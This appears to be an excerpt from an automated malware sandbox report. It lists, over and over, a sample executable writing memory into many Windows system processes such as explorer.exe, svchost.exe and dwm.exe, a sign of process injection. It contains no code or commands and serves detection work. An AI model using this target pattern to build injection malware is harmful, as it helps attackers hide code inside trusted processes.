      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 800000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: B90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 320000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 570000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 940000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 310000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 890000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 460000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 4BA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 160000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 440000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 810000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 330000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 580000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 950000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1040000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 320000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 470000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 52D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 450000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 400000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 820000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 340000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 590000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 960000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1050000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 330000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 480000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 14F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1000000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 460000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 410000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 830000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 350000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 970000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1060000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 340000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 490000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 5730000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1010000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 190000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 910000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 470000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 420000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 840000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 360000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 980000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1070000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 350000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 5830000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 920000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 480000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 6F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 430000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 850000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 370000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 990000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1080000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 360000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 600000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 57B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 930000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 490000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 700000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 440000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 860000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: BF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 380000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1090000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 370000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 8F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 610000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 57C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1040000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 940000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 710000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 450000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 870000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 390000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 100000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 380000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 620000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 5860000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1050000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 950000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 720000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 460000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 880000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 5F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 110000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 390000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 910000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 630000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 58A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1060000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 960000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 730000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 470000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 890000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 600000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 120000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 3A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 920000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 4F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 640000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 58B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1070000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 970000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 740000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 480000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 610000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 130000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 930000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 650000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 58C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1080000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 200000Jump to behavior
